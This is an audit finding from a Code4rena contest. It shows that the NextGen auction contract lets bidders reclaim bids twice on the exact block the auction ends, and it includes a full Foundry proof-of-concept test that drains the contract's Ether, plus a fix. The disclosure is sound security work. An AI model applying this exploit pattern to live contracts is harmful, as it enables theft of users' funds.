code-423n4/2023-10-nextgen-findings

Ether from the Auction contract can be stolen on the block the auction ends

c4-submissions opened this issue · 4 comments

c4-submissions commented

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Summary

claimAuction(), cancelBid(), and cancelAllBids() all check the auction end time with <=.

Due to the = check, it is possible to claim assets twice. Once in the claim function, and the second one on either of the cancel bid functions.

It is possible to perform the attack with as many non-winning bids as desired.

Impact

Steal Ether from the AuctionDemo contract.

The attack can only be performed when block.timestamp == auctionEndTime. As the protocol will be deployed on Ethereum, this means that the attack can be performed 8,33% of the times (the time between blocks is 12s, so the probability would be 1/12).

Considering the theft of Ether, the success rate being significant, and that it can be performed to steal any amount of assets on one go, the impact was considered as High.

Proof of Concept

All claimAuction(), cancelBid(), and cancelAllBids() check that they can be called validating the following check. This means that they can be called successfully at the same time on that specific timestamp.

block.timestamp >= minter.getAuctionEndTime(_tokenid)

Cancel bid functions do not allow to call them twice, to prevent claiming bids multiple times. So they set status: false to the bid:

claimAuction() doesn't set that status to false. So, it is possible to call it, claim back all the non-winning bids, and they claim back the non-winning bids again with any of the cancel bid functions.

The following coded POC shows how an adversary can drain the AuctionDemo contract.

Coded Proof of Concept

  1. Run forge init --no-git --force to initiate Foundry on the root of the project
  2. Create test/Poc.t.sol and copy the snippet below
  3. Run forge test
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";

import {auctionDemo} from "smart-contracts/AuctionDemo.sol";
import {NextGenMinterContract} from "smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "smart-contracts/NextGenCore.sol";


contract StealEtherFromAuctionTest is Test {
    NextGenAdmins admin;
    NextGenCore gencore;
    NextGenMinterContract minter;
    auctionDemo auction;

    function setUp() public {
        admin = new NextGenAdmins();
        gencore = new NextGenCore("core", "core", address(admin));
        minter = new NextGenMinterContract(address(gencore), address(0), address(admin));
        auction = new auctionDemo(address(minter), address(gencore), address(admin));
        auction.transferOwnership(makeAddr("owner"));
    }

    function testStealEtherFromAuction() public {
        address adversary = makeAddr("adversary");
        address tokenOwner = makeAddr("tokenOwner");
        uint256 tokenId = 1;

        // Deal an initial amount of Ether and keep track of the adversary balance
        deal(adversary, 15 ether);
        deal(address(auction), 10 ether); // @audit this will be all stolen

        uint256 adversaryBalanceBefore = adversary.balance;

        // Simulate an auction for a token that ends in 12 hours
        uint256 auctionEndTime = block.timestamp + 12 hours;
        vm.mockCall(address(minter), 0, abi.encodeCall(minter.getAuctionEndTime, (tokenId)), abi.encode(auctionEndTime));
        vm.mockCall(address(minter), 0, abi.encodeCall(minter.getAuctionStatus, (tokenId)), abi.encode(true));

        // Mock the token transfer in `claimAuction()` to check that it will be called with these specific params
        vm.mockCall(address(gencore), 0, abi.encodeCall(gencore.ownerOf, (tokenId)), abi.encode(tokenOwner));
        vm.mockCall(
            address(gencore),
            0,
            abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", tokenOwner, adversary, tokenId),
            abi.encode(true)
        );

        // Let's say that the NFT market value is of 4.9 ETH

        // An adversary can make a first bid for 1 ETH
        vm.startPrank(adversary);
        auction.participateToAuction{value: 1 ether}(tokenId);

        // Then they can make as many as they want, for 1.0001 ETH, 1.0002 ETH, 1.0003 ETH and so on
        // There is no additional risk, as they can be canceled, or returned after the auction ends
        // For the sake of simplicity, we'll just create a few more with round numbers
        auction.participateToAuction{value: 2 ether}(tokenId);
        auction.participateToAuction{value: 3 ether}(tokenId);
        auction.participateToAuction{value: 4 ether}(tokenId);

        // The adversary places the final bid of 5 ETH, just above market price
        auction.participateToAuction{value: 5 ether}(tokenId);

        // The auction ends
        vm.warp(auctionEndTime);

        // The adversary will call `claimAuction()` + `cancelAllBids()` on the block the auction ends
        // The attack will be successful if the block.timestamp is equal to the auction end time
        auction.claimAuction(tokenId);
        auction.cancelAllBids(tokenId);        

        uint256 adversaryBalanceAfter = adversary.balance;
        uint256 auctionBalanceAfter = address(auction).balance;

        // The adversary steals Ether, while keeping the bought NFT at just above market price
        uint256 stolenBalance = adversaryBalanceAfter - adversaryBalanceBefore;
        assertEq(stolenBalance, 5 ether);

        // The auction contract is drained
        assertEq(auctionBalanceAfter, 0);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

One possible way to mitigate this is to change the comparison to strictly greater >, for example in claimAuction():

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(
-           block.timestamp >= minter.getAuctionEndTime(_tokenid) &&
+           block.timestamp > minter.getAuctionEndTime(_tokenid) &&
            auctionClaim[_tokenid] == false &&
            minter.getAuctionStatus(_tokenid) == true
        );

Assessed type

Timing

c4-pre-sort commented

141345 marked the issue as duplicate of #962

c4-judge commented

alex-ppg marked the issue as not a duplicate

c4-judge commented

alex-ppg marked the issue as duplicate of #1788

c4-judge commented

alex-ppg marked the issue as satisfactory